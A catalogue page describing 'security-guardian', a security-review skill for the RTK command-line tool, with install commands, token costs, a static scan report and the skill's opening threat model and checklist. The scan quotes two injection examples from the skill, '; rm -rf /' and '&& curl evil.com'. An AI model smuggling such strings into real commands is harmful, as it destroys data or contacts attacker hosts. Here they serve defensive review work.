security-guardian

security-guardian is a skill for Claude Code, Codex from rtk-ai/rtk. It costs 15 tokens per session (3,541 once invoked), scanned B, original, Apache-2.0.

A security-review workflow for the RTK command-line tool, focusing on how it runs commands, handles shell input, processes untrusted output, and uses hooks. Hooks are scripts that run automatically at defined points.

In plain words
What is it for?
Use it after changes involving user input, shell commands, filters, hooks, or parsing, and before releasing security-sensitive updates.
Why use it?
It helps identify paths where malicious input or command output could cause unintended commands to run or interfere with the tool.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/rtk-ai/rtk/security-guardian
Any agent
npx skills add rtk-ai/rtk --skill security-guardian
Clone the repo
git clone --depth 1 https://github.com/rtk-ai/rtk

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for security-guardian

README.md
[![agentmods](https://agentmods.dev/badge/skills/rtk-ai/rtk/security-guardian.svg)](https://agentmods.dev/skills/rtk-ai/rtk/security-guardian)
Your own site
<a href="https://agentmods.dev/skills/rtk-ai/rtk/security-guardian"><img src="https://agentmods.dev/badge/skills/rtk-ai/rtk/security-guardian.svg" alt="Measured on agentmods" height="20"></a>
Per session 15 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,541 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00015 $0.03541
Opus 5 $0.00008 $0.01770
Sonnet 5 $0.00003 $0.00708
Haiku 4.5 $0.00002 $0.00354

Measured 4d ago against content hash d41c23635f53, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

security-guardian scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Recursive force deletemediumDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

.arg(&cmd) // Attacker can inject: `; rm -rf /`

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

"&& curl evil.com",
.claude/skills/security-guardian/SKILL.md · 505 lines

How it starts

The opening of the file, as written. The whole thing — 505 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Security Guardian

Comprehensive security analysis for RTK CLI tool, focusing on command injection, shell escaping, hook security, and malicious input handling.

When to Use

  • Automatically triggered: After filter changes, shell command execution logic, hook modifications
  • Manual invocation: Before release, after security-sensitive code changes
  • Proactive: When handling user input, executing shell commands, or parsing untrusted output

RTK Security Threat Model

RTK faces unique security challenges as a CLI proxy that:

  1. Executes shell commands based on user input
  2. Parses untrusted command output (git, cargo, gh, etc.)
  3. Integrates with Claude Code hooks (rtk-rewrite.sh, rtk-suggest.sh)
  4. Routes commands transparently (command injection vectors)

Threat Categories

Threat Severity Impact Mitigation
Command Injection 🔴 CRITICAL Remote code execution Input validation, shell escaping
Shell Escaping 🔴 CRITICAL Arbitrary command execution Platform-specific escaping
Hook Injection 🟡 HIGH Hook hijacking, command interception Permission checks, signature validation
Malicious Output 🟡 MEDIUM RTK crash, DoS Robust parsing, error handling
Path Traversal 🟢 LOW File access outside filters/ Path sanitization

Security Analysis Workflow

1. Threat Identification

Questions to ask for every code change:

Input Validation:
- Does this code accept user input?
- Is the input validated before use?
- Can special characters (;, |, &, $, `, \, etc.) cause issues?

Shell Execution:
- Does this code execute shell commands?
- Are command arguments properly escaped?
- Is std::process::Command used (safe) or shell=true (dangerous)?

Output Parsing:
- Does this code parse external command output?
- Can malformed output cause panics or crashes?
- Are regex patterns tested against malicious input?

Hook Integration:
- Does this code modify hooks?
- Are hook permissions validated (executable bit)?
- Is hook source code integrity checked?

Read the full file on GitHub · 505 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 505 lines · 15 tokens per session scan B d41c23635f53

Subscribe to this mod's changes

security-guardian is a skill published in the GitHub repository rtk-ai/rtk (78,445 stars, last pushed today), licensed Apache-2.0. It adds 15 tokens to every session and 3,541 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 2 findings (recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

build-teaql-app

Build or change a TeaQL application in Java, Rust, Go, Swift, Python, C#/.NET, or TypeScript, including Kotlin/JVM applications that consume Java-generated libraries. Mandatory order: first draft and save a complete KSML model, then verify the client and evaluate that saved model, repair it through repeated evaluation…

teaql/teaql-agent-kit · 112 tokens

moai-kanban-foreman

One unattended kanban foreman iteration: watch the backlog queue, dispatch the next operator-picked card to an isolated worker, collect completion evidence on read (not on claims), and report. This is the body the project's loop.md driver invokes each iteration of a bare /loop; it can also be invoked directly to test…

modu-ai/moai-adk · 76 tokens

moai-ref-ui-polish

UI polish and interface-completion reference: the small visual details — concentric border radius, optical alignment, shadow-vs-border, motion easing, typography smoothing, tabular numbers, icon stroke weight, hit areas — that separate polished interfaces from generic ones. Agent-extending skill that amplifies…

modu-ai/moai-adk · 98 tokens

orchestrator-lanes

Claude Code dev-orchestrator only. File-based multi-lane PM playbook (score, DAG, run-controller, L0/L1/L2, ship). Use when this session IS that agent, or user says info / справка / lane-stack:orchestrator-lanes info. SKIP: Grok, Codex, Kimi, Qwen, AGY, Cursor writer CLIs and any default coding agent — do not load, do…

VKirill/claude-lane-stack · 104 tokens

project-design

Lane-stack router for design/brand. Load ui-ux-pro-max. Full DESIGN.md at root and every UI app. Use when user says info, справка, как запускать project-design, lane-stack:project-design info, дизайн, токены, DESIGN.md, brand, UI, баннер, соцсети, or a UI run has no DESIGN.md.

VKirill/claude-lane-stack · 78 tokens

source-command-ccguide-daily

Daily update check — official Anthropic docs diff + guide/CC releases digest.

FlorianBruniaux/claude-code-ultimate-guide · 23 tokens